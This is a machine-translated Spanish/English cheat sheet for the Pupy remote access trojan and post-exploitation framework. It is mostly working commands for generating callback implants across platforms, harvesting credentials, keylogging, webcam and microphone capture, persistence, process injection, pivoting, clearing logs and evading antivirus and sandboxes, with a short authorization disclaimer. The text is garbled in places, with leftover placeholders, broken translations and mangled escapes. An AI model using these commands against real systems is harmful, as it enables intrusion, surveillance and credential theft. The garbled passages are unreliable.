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Pupy

_# Copiar la hoja de cajete C2

Overview

Pupy es un marco de acceso remoto de código abierto y multiplataforma (RAT) y post-explotación escrito en Python y C. Admite plataformas Windows, Linux, OSX y Android con capacidades de ejecución de memoria y diseño de huella mínima.

▪ restablecimiento Advertencia: Esta herramienta está destinada a pruebas de penetración autorizadas y ejercicios de equipo rojo solamente. Asegúrese de tener la autorización adecuada antes de usar en cualquier entorno.

Instalación

Git install

# Clone repository
git clone --recursive https://github.com/n1nj4sec/pupy.git
cd pupy

# Install dependencies (Ubuntu/Debian)
sudo apt-get install python2.7-dev python-pip python-setuptools build-essential swig python-dev libssl-dev libffi-dev

# Install Python requirements
pip install -r pupy/requirements.txt

# Create workspace
./create-workspace.py -DG pupyws
cd pupyws

Docker Instalación

# Build Docker image
git clone --recursive https://github.com/n1nj4sec/pupy.git
cd pupy
docker build -t pupy .

# Run Pupy in Docker
docker run -it -v /tmp/pupyws:/opt/pupy/pupyws pupy

Instalación de Windows

# Install Python 2.7
# Download and install Microsoft Visual C++ Compiler for Python 2.7
# Clone repository
git clone --recursive https://github.com/n1nj4sec/pupy.git
cd pupy

# Install requirements
pip install -r pupy/requirements.txt

# Create workspace
python create-workspace.py pupyws
cd pupyws

Uso básico

Start Pupy Server

# Start server with default configuration
./pupysh

# Start with custom configuration
./pupysh --config custom_config.py

# Start with specific transport
./pupysh --transport ssl

Generación de clientes

# Generate Windows client
gen -f client -O windows -A x86 -o windows_client.exe

# Generate Linux client
gen -f client -O linux -A x64 -o linux_client

# Generate Android APK
gen -f apk -o android_client.apk

Command Reference

Server Management

Command Description
INLINE_CODE_31 Show help menu
INLINE_CODE_32 List active sessions
INLINE_CODE_33 Interact with session
INLINE_CODE_34 List running jobs
INLINE_CODE_35 Kill running job
INLINE_CODE_36 Exit Pupy server

Client Generation

Command Description
INLINE_CODE_37 Show generation help
INLINE_CODE_38 Generate client
INLINE_CODE_39 Generate Android APK
INLINE_CODE_40 Generate Python payload
INLINE_CODE_41 Generate PowerShell payload

Session Interaction_TABLE_62__

Opciones de generación de clientes

Clientes de Windows

# Windows executable (x86)
gen -f client -O windows -A x86 -o windows_x86.exe

# Windows executable (x64)
gen -f client -O windows -A x64 -o windows_x64.exe

# Windows DLL
gen -f dll -O windows -A x86 -o windows_dll.dll

# Windows service executable
gen -f client -O windows -A x64 --service -o windows_service.exe

# PowerShell payload
gen -f ps1 -o payload.ps1

Clientes Linux

# Linux ELF (x86)
gen -f client -O linux -A x86 -o linux_x86

# Linux ELF (x64)
gen -f client -O linux -A x64 -o linux_x64

# Linux shared library
gen -f so -O linux -A x64 -o linux_lib.so

# Python payload
gen -f py -o payload.py

MacOS Clients

# macOS binary
gen -f client -O darwin -A x64 -o macos_client

# macOS application bundle
gen -f app -O darwin -A x64 -o macos_app.app

Clientes Android

# Android APK
gen -f apk -o android_client.apk

# Android APK with custom package name
gen -f apk --package com.example.app -o custom_android.apk

Opciones de transporte

SSL Transport

# Start SSL listener
listen --port 443 ssl

# Generate client with SSL transport
gen -f client -O windows -A x64 --transport ssl_connect --host 192.168.1.100:443

HTTP Transport

# Start HTTP listener
listen --port 80 http

# Generate client with HTTP transport
gen -f client -O windows -A x64 --transport http --host 192.168.1.100:80

TCP Transport

# Start TCP listener
listen --port 4444 tcp

# Generate client with TCP transport
gen -f client -O windows -A x64 --transport tcp_cleartext --host 192.168.1.100:4444

Transportes Obfuscados

# Obfs3 transport
listen --port 8080 obfs3

# Generate client with obfs3
gen -f client -O windows -A x64 --transport obfs3 --host 192.168.1.100:8080

Post-Exploitation Módulos

Información del sistema

# Get system information
run sysinfo

# Get environment variables
run getenv

# Get installed software
run installed_software

# Get running processes
run ps

# Get network connections
run netstat

Credential Harvesting

# Dump Windows credentials
run hashdump

# Extract browser passwords
run browser_dump

# Dump WiFi passwords
run wifi_passwords

# Extract clipboard content
run clipboard

Persistencia

# Install persistence
run persistence

# Create scheduled task (Windows)
run schtasks

# Registry persistence (Windows)
run registry_persistence

# Cron job persistence (Linux)
run cron_persistence

Operaciones de red

# Port scanning
run portscan -t 192.168.1.0/24

# Network discovery
run network_discovery

# ARP spoofing
run arp_spoof -t 192.168.1.10 -g 192.168.1.1

# DNS spoofing
run dns_spoof -d example.com -i 192.168.1.100

Surveillance

# Start keylogger
run keylogger

# Take screenshot
run screenshot

# Record microphone
run record_mic -t 30

# Webcam snapshot
run webcam_snap

# Webcam stream
run webcam_stream

Características avanzadas

Memory Execution

# Load module in memory
load_module /path/to/module.py

# Execute in memory
run memory_exec -f /path/to/executable

# Reflective DLL loading (Windows)
run reflective_dll -f /path/to/dll.dll

Inyección del proceso

# Inject into process
run inject -p <pid> -f /path/to/payload

# Process hollowing
run process_hollow -t notepad.exe -f /path/to/payload

# DLL injection
run dll_inject -p <pid> -f /path/to/dll.dll

Pivoting

# SOCKS proxy
run socks -p 1080

# Port forwarding
run portfwd -L 8080:192.168.2.10:80

# Reverse port forwarding
run portfwd -R 9090:127.0.0.1:22

Anti-Forensics

# Clear event logs (Windows)
run clear_logs

# Timestomp files
run timestomp -f /path/to/file -t "2020-01-01 12:00:00"

# Secure delete
run secure_delete -f /path/to/file

# Clear tracks
run clear_tracks

Evasion Techniques

Payload Obfuscation

# Generate with packer
gen -f client -O windows -A x64 --packer upx -o packed_client.exe

# Custom obfuscation
gen -f client -O windows -A x64 --obfuscate -o obfuscated_client.exe

# Encrypted payload
gen -f client -O windows -A x64 --encrypt -o encrypted_client.exe

Anti-Analysis

# VM detection
def check_vm():
    import subprocess
    try:
        output = subprocess.check_output(['systeminfo'], shell=True)
        vm_indicators = ['VMware', 'VirtualBox', 'QEMU', 'Hyper-V']
        for indicator in vm_indicators:
            if indicator in output.decode():
                return True
    except:
        pass
    return False

# Sandbox evasion
import time
import random
time.sleep(random.randint(60, 300))  # Random sleep

Traffic Obfuscation

# Domain fronting
gen -f client -O windows -A x64 --transport http --host cdn.example.com --front-domain legitimate-site.com

# Custom User-Agent
gen -f client -O windows -A x64 --transport http --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

Configuración

Configuración del servidor

# pupy.conf
[pupyd]
workdir = pupyws
scriptlets_path = packages/all;packages/windows;packages/linux;packages/darwin

[ssl]
keyfile = keys/server.key
certfile = keys/server.crt

[http]
port = 80
ssl_port = 443

[logging]
level = INFO
file = pupy.log

Configuración del cliente

# Custom transport configuration
TRANSPORT_KWARGS = \\\\{
    'ssl': \\\\{
        'cert_reqs': ssl.CERT_NONE,
        'ssl_version': ssl.PROTOCOL_TLSv1_2,
        'ciphers': 'ECDHE+AESGCM:ECDHE+CHACHA20:DHE+AESGCM'
    \\\\},
    'http': \\\\{
        'user_agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        'headers': \\\\{'Accept': 'text/html,application/xhtml+xml'\\\\},
        'proxy': \\\\{'http': 'http://proxy:8080'\\\\}
    \\\\}
\\\\}

Troubleshooting

Connection Issues

# Check listener status
jobs

# Test connectivity
telnet server_ip port

# Check firewall rules
iptables -L
netsh advfirewall show allprofiles

Problemas de generación de clientes

# Install missing dependencies
pip install -r pupy/requirements.txt

# Rebuild client templates
./create-workspace.py -DG pupyws

# Check Python version
python --version  # Should be 2.7.x

Módulo Carga Errores

# Update module path
export PYTHONPATH=$PYTHONPATH:/opt/pupy/pupy

# Reinstall requirements
pip install --upgrade -r pupy/requirements.txt

# Check module dependencies
python -c "import module_name"

Performance Issues

# Reduce beacon interval
session -i <id>
set_beacon_interval 30

# Optimize transport
# Use faster transports like TCP for internal networks
# Use compressed transports for slow connections

Operational Security

Infrastructure Setup

  • Usar redirectores y cadenas proxy
  • Implementar una gestión adecuada de certificados
  • Use dominios legítimos y alojamiento
  • Infraestructura rotativa regularmente
  • Monitor de detección y atribución

Communication Security

  • Utilizar transportes cifrados (SSL/TLS)
  • Implementar una gestión clave adecuada
  • Usar el frente de dominio donde sea posible
  • Patrones de comunicación Vary
  • Implementar un correcto manejo de errores

Payload Security

  • Usar obfuscación y embalaje
  • Implementar técnicas antianálisis
  • Usar cargas de pago fijas cuando sea posible
  • Actualizar y rotar las cargas de pago
  • Prueba contra las soluciones actuales AV

Resources

[Pupy GitHub Repository](URL_55__ - [Documentación impresa](URL_56__ - [n1nj4sec Blog](URL_57__ - [Referencia de módulos de compra](URL_58__

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*Esta hoja de trampa proporciona una referencia completa para usar Pupy C2 Framework. Siempre asegúrese de tener una autorización adecuada antes de usar esta herramienta en cualquier entorno. *